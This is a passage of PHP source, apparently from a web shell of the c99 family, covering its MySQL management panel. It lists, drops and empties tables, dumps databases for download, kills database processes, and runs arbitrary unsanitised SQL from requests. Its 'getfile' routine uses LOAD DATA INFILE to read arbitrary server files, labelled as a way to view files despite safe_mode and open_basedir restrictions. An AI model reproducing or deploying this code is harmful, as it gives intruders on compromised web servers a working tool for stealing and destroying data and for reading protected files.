2057 if (!is_numeric($c)) {$c = 0;}
2058
2059 if ($c == 0) {$c = "no";}
2060
2061 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
2062
2063 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
2064
2065 echo "</b></center>";
2066
2067 $acts = array("","dump");
2068
2069 if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
2070
2071 elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";}
2072
2073 elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
2074
2075 elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
2076
2077 elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
2078
2079 elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
2080
2081 elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
2082
2083 elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
2084
2085 elseif ($sql_tbl_x == "insert") {
2086
2087 if ($sql_tbl_insert_radio == 1) {
2088
2089 $keys = "";
2090
2091 $akeys = array_keys($sql_tbl_insert);
2092
2093 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
2094
2095 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
2096
2097 $values = "";
2098
2099 $i = 0;
2100
2101 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
2102
2103 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
2104
2105 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
2106
2107 $sql_x = "query";
2108
2109 $sql_tbl_x = "browse";
2110
2111 }
2112
2113 elseif ($sql_tbl_insert_radio == 2) {
2114
2115 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
2116
2117 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
2118
2119 $result = mysql_query($sql_query) or print(mysql_smarterror());
2120
2121 $result = mysql_fetch_array($result, MYSQL_ASSOC);
2122
2123 $sql_x = "query";
2124
2125 $sql_tbl_x = "browse";
2126
2127 }
2128
2129 }
2130
2131 if ($sql_x == "query") {
2132
2133 echo "<hr size=\"1\" noshade>";
2134
2135 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
2136
2137 if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
2138
2139 if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
2140
2141 }
2142
2143 if (in_array($sql_x,$acts)) {
2144
2145 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
2146
2147 <form action="<? echo $surl; ?>">
2148
2149 <input type="hidden" name="x" value="sql">
2150
2151 <input type="hidden" name="sql_x" value="newtbl">
2152
2153 <input type="hidden" name="sql_db" value="<? echo htmlspecialchars($sql_db); ?>">
2154
2155 <input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
2156
2157 <input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
2158
2159 <input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>">
2160
2161 <input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>">
2162
2163 <input type="text" name="sql_newtbl" size="20">
2164
2165 <input type="submit" value="Create">
2166
2167 </form></td>
2168
2169 <td width="30%" height="1"><b>Dump DB:</b>
2170
2171 <form action="<? echo $surl; ?>">
2172
2173 <input type="hidden" name="x" value="sql">
2174
2175 <input type="hidden" name="sql_x" value="dump">
2176
2177 <input type="hidden" name="sql_db" value="<? echo htmlspecialchars($sql_db); ?>">
2178
2179 <input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
2180
2181 <input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
2182
2183 <input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<? echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
2184
2185 <?
2186
2187 if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
2188
2189 if ($sql_x == "newtbl") {
2190
2191 echo "<b>";
2192
2193 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
2194
2195 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
2196
2197 }
2198
2199 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
2200
2201 }
2202
2203 elseif ($sql_x == "dump") {
2204
2205 if (empty($submit)) {
2206
2207 $diplay = FALSE;
2208
2209 echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
2210
2211 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
2212
2213 $v = join (";",$dmptbls);
2214
2215 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
2216
2217 if ($dump_file) {$tmp = $dump_file;}
2218
2219 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
2220
2221 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
2222
2223 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
2224
2225 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
2226
2227 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
2228
2229 echo "</form>";
2230
2231 }
2232
2233 else {
2234
2235 $diplay = TRUE;
2236
2237 $set = array();
2238
2239 $set["sock"] = $sql_sock;
2240
2241 $set["db"] = $sql_db;
2242
2243 $dump_out = "download";
2244
2245 $set["print"] = 0;
2246
2247 $set["nl2br"] = 0;
2248
2249 $set[""] = 0;
2250
2251 $set["file"] = $dump_file;
2252
2253 $set["add_drop"] = TRUE;
2254
2255 $set["onlytabs"] = array();
2256
2257 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
2258
2259 $ret = mysql_dump($set);
2260
2261 if ($sql_dump_download) {
2262
2263 @ob_clean();
2264
2265 header("Content-type: application/octet-stream");
2266
2267 header("Content-length: ".strlen($ret));
2268
2269 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
2270
2271 echo $ret;
2272
2273 exit;
2274
2275 }
2276
2277 elseif ($sql_dump_savetofile) {
2278
2279 $fp = fopen($sql_dump_file,"w");
2280
2281 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
2282
2283 else {
2284
2285 fwrite($fp,$ret);
2286
2287 fclose($fp);
2288
2289 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
2290
2291 }
2292
2293 }
2294
2295 else {echo "<b>Dump: nothing to do!</b>";}
2296
2297 }
2298
2299 }
2300
2301 if ($diplay) {
2302
2303 if (!empty($sql_tbl)) {
2304
2305 if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
2306
2307 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
2308
2309 $count_row = mysql_fetch_array($count);
2310
2311 mysql_free_result($count);
2312
2313 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
2314
2315 $tbl_struct_fields = array();
2316
2317 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
2318
2319 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
2320
2321 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
2322
2323 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
2324
2325 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
2326
2327 $perpage = $sql_tbl_le - $sql_tbl_ls;
2328
2329 if (!is_numeric($perpage)) {$perpage = 10;}
2330
2331 $numpages = $count_row[0]/$perpage;
2332
2333 $e = explode(" ",$sql_order);
2334
2335 if (count($e) == 2) {
2336
2337 if ($e[0] == "d") {$asc_desc = "DESC";}
2338
2339 else {$asc_desc = "ASC";}
2340
2341 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
2342
2343 }
2344
2345 else {$v = "";}
2346
2347 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
2348
2349 $result = mysql_query($query) or print(mysql_smarterror());
2350
2351 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
2352
2353 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
2354
2355 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
2356
2357 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
2358
2359 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
2360
2361 if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
2362
2363 if ($sql_tbl_x == "insert") {
2364
2365 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
2366
2367 if (!empty($sql_tbl_insert_radio)) { } //Not Ready
2368
2369 else {
2370
2371 echo "<br><br><b>Inserting row into table:</b><br>";
2372
2373 if (!empty($sql_tbl_insert_q)) {
2374
2375 $sql_query = "SELECT * FROM `".$sql_tbl."`";
2376
2377 $sql_query .= " WHERE".$sql_tbl_insert_q;
2378
2379 $sql_query .= " LIMIT 1;";
2380
2381 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
2382
2383 $values = mysql_fetch_assoc($result);
2384
2385 mysql_free_result($result);
2386
2387 }
2388
2389 else {$values = array();}
2390
2391 echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
2392
2393 foreach ($tbl_struct_fields as $field) {
2394
2395 $name = $field["Field"];
2396
2397 if (empty($sql_tbl_insert_q)) {$v = "";}
2398
2399 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
2400
2401 $i++;
2402
2403 }
2404
2405 echo "</table><br>";
2406
2407 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
2408
2409 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
2410
2411 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
2412
2413 }
2414
2415 }
2416
2417 if ($sql_tbl_x == "browse") {
2418
2419 $sql_tbl_ls = abs($sql_tbl_ls);
2420
2421 $sql_tbl_le = abs($sql_tbl_le);
2422
2423 echo "<hr size=\"1\" noshade>";
2424
2425 echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
2426
2427 $b = 0;
2428
2429 for($i=0;$i<$numpages;$i++) {
2430
2431 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
2432
2433 echo $i;
2434
2435 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
2436
2437 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
2438
2439 else {echo " ";}
2440
2441 }
2442
2443 if ($i == 0) {echo "empty";}
2444
2445 echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
2446
2447 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
2448
2449 echo "<tr>";
2450
2451 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
2452
2453 for ($i=0;$i<mysql_num_fields($result);$i++) {
2454
2455 $v = mysql_field_name($result,$i);
2456
2457 if ($e[0] == "a") {$s = "d"; $m = "asc";}
2458
2459 else {$s = "a"; $m = "desc";}
2460
2461 echo "<td>";
2462
2463 if (empty($e[0])) {$e[0] = "a";}
2464
2465 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
2466
2467 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
2468
2469 echo "</td>";
2470
2471 }
2472
2473 echo "<td><font color=\"green\"><b>Action</b></font></td>";
2474
2475 echo "</tr>";
2476
2477 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
2478
2479 echo "<tr>";
2480
2481 $w = "";
2482
2483 $i = 0;
2484
2485 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
2486
2487 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
2488
2489 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
2490
2491 $i = 0;
2492
2493 foreach ($row as $k=>$v)
2494
2495 {
2496
2497 $v = htmlspecialchars($v);
2498
2499 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
2500
2501 echo "<td>".$v."</td>";
2502
2503 $i++;
2504
2505 }
2506
2507 echo "<td>";
2508
2509 echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
2510
2511 echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
2512
2513 echo "</td>";
2514
2515 echo "</tr>";
2516
2517 }
2518
2519 mysql_free_result($result);
2520
2521 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
2522
2523 echo "<option value=\"\">With selected:</option>";
2524
2525 echo "<option value=\"deleterow\">Delete</option>";
2526
2527 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2528
2529 }
2530
2531 }
2532
2533 else {
2534
2535 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
2536
2537 if (!$result) {echo mysql_smarterror();}
2538
2539 else
2540
2541 {
2542
2543 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
2544
2545 $i = 0;
2546
2547 $tsize = $trows = 0;
2548
2549 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2550
2551 {
2552
2553 $tsize += $row["Data_length"];
2554
2555 $trows += $row["Rows"];
2556
2557 $size = view_size($row["Data_length"]);
2558
2559 echo "<tr>";
2560
2561 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
2562
2563 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
2564
2565 echo "<td>".$row["Rows"]."</td>";
2566
2567 echo "<td>".$row["Type"]."</td>";
2568
2569 echo "<td>".$row["Create_time"]."</td>";
2570
2571 echo "<td>".$row["Update_time"]."</td>";
2572
2573 echo "<td>".$size."</td>";
2574
2575 echo "<td> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
2576
2577 echo "</tr>";
2578
2579 $i++;
2580
2581 }
2582
2583 echo "<tr bgcolor=\"000000\">";
2584
2585 echo "<td><center><b>+</b></center></td>";
2586
2587 echo "<td><center><b>".$i." table(s)</b></center></td>";
2588
2589 echo "<td><b>".$trows."</b></td>";
2590
2591 echo "<td>".$row[1]."</td>";
2592
2593 echo "<td>".$row[10]."</td>";
2594
2595 echo "<td>".$row[11]."</td>";
2596
2597 echo "<td><b>".view_size($tsize)."</b></td>";
2598
2599 echo "<td></td>";
2600
2601 echo "</tr>";
2602
2603 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
2604
2605 echo "<option value=\"\">With selected:</option>";
2606
2607 echo "<option value=\"tbldrop\">Drop</option>";
2608
2609 echo "<option value=\"tblempty\">Empty</option>";
2610
2611 echo "<option value=\"tbldump\">Dump</option>";
2612
2613 echo "<option value=\"tblcheck\">Check table</option>";
2614
2615 echo "<option value=\"tbloptimize\">Optimize table</option>";
2616
2617 echo "<option value=\"tblrepair\">Repair table</option>";
2618
2619 echo "<option value=\"tblanalyze\">Analyze table</option>";
2620
2621 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2622
2623 mysql_free_result($result);
2624
2625 }
2626
2627 }
2628
2629 }
2630
2631 }
2632
2633 }
2634
2635 else {
2636
2637 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
2638
2639 if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<? echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<? echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<? echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><? }
2640
2641 if (!empty($sql_x)) {
2642
2643 echo "<hr size=\"1\" noshade>";
2644
2645 if ($sql_x == "newdb") {
2646
2647 echo "<b>";
2648
2649 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
2650
2651 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
2652
2653 }
2654
2655 if ($sql_x == "serverstatus") {
2656
2657 $result = mysql_query("SHOW STATUS", $sql_sock);
2658
2659 echo "<center><b>Server-status variables:</b><br><br>";
2660
2661 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2662
2663 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
2664
2665 echo "</table></center>";
2666
2667 mysql_free_result($result);
2668
2669 }
2670
2671 if ($sql_x == "servervars") {
2672
2673 $result = mysql_query("SHOW VARIABLES", $sql_sock);
2674
2675 echo "<center><b>Server variables:</b><br><br>";
2676
2677 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2678
2679 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
2680
2681 echo "</table>";
2682
2683 mysql_free_result($result);
2684
2685 }
2686
2687 if ($sql_x == "processes") {
2688
2689 if (!empty($kill)) {
2690
2691 $query = "KILL ".$kill.";";
2692
2693 $result = mysql_query($query, $sql_sock);
2694
2695 echo "<b>Process #".$kill." was killed.</b>";
2696
2697 }
2698
2699 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
2700
2701 echo "<center><b>Processes:</b><br><br>";
2702
2703 echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
2704
2705 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
2706
2707 echo "</table>";
2708
2709 mysql_free_result($result);
2710
2711 }
2712
2713 if ($sql_x == "getfile")
2714
2715 {
2716
2717 $tmpdb = $sql_login."_tmpdb";
2718
2719 $select = mysql_select_db($tmpdb);
2720
2721 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
2722
2723 if ($select)
2724
2725 {
2726
2727 $created = FALSE;
2728
2729 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
2730
2731 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
2732
2733 $result = mysql_query("SELECT * FROM tmp_file;");
2734
2735 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
2736
2737 else
2738
2739 {
2740
2741 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
2742
2743 $f = "";
2744
2745 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
2746
2747 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
2748
2749 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
2750
2751 mysql_free_result($result);
